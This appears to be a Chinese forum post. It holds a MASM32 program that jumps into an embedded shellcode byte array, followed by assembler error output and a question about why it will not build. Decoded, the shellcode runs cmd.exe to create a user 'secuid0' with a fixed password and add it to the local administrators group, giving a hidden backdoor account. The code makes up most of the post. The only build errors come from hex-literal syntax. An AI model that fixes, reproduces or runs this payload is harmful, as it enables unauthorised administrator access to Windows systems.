.486
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
.data
align 4
szShellcode \
db ebh,16h,5bh,31h,c0h,50h,53h,bbh,adh,23h
db 86h,7ch,ffh,d3h,31h,c0h,50h,bbh,fah,cah
db 81h,7ch,ffh,d3h,e8h,e5h,ffh,ffh,ffh,63h
db 6dh,64h,2eh,65h,78h,65h,20h,2fh,63h,20h
db 6eh,65h,74h,20h,75h,73h,65h,72h,20h,73h
db 65h,63h,75h,69h,64h,30h,20h,6dh,30h,6eh
db 6bh,20h,2fh,61h,64h,64h,20h,26h,26h,20h
db 6eh,65h,74h,20h,6ch,6fh,63h,61h,6ch,67h
db 72h,6fh,75h,70h,20h,61h,64h,6dh,69h,6eh
db 69h,73h,74h,72h,61h,74h,6fh,72h,73h,20h
db 73h,65h,63h,75h,69h,64h,30h,20h,2fh,61h
db 64h,64h,00h
.code
start:
lea eax,szShellcode
jmp eax
invoke ExitProcess,0
end start
估计是语法的错误,但不知道怎么修改,编译信息如下:
scancode.asm(13) : error A2006: undefined symbol : ebh
scancode.asm(13) : error A2006: undefined symbol : c0h
scancode.asm(13) : error A2006: undefined symbol : bbh
scancode.asm(13) : error A2006: undefined symbol : adh
scancode.asm(15) : error A2006: undefined symbol : ffh
scancode.asm(15) : error A2006: undefined symbol : d3h
scancode.asm(15) : error A2006: undefined symbol : c0h
scancode.asm(15) : error A2006: undefined symbol : bbh
scancode.asm(15) : error A2006: undefined symbol : fah
scancode.asm(15) : error A2006: undefined symbol : cah
scancode.asm(16) : error A2006: undefined symbol : ffh
scancode.asm(16) : error A2006: undefined symbol : d3h
scancode.asm(16) : error A2006: undefined symbol : e8h
scancode.asm(16) : error A2006: undefined symbol : e5h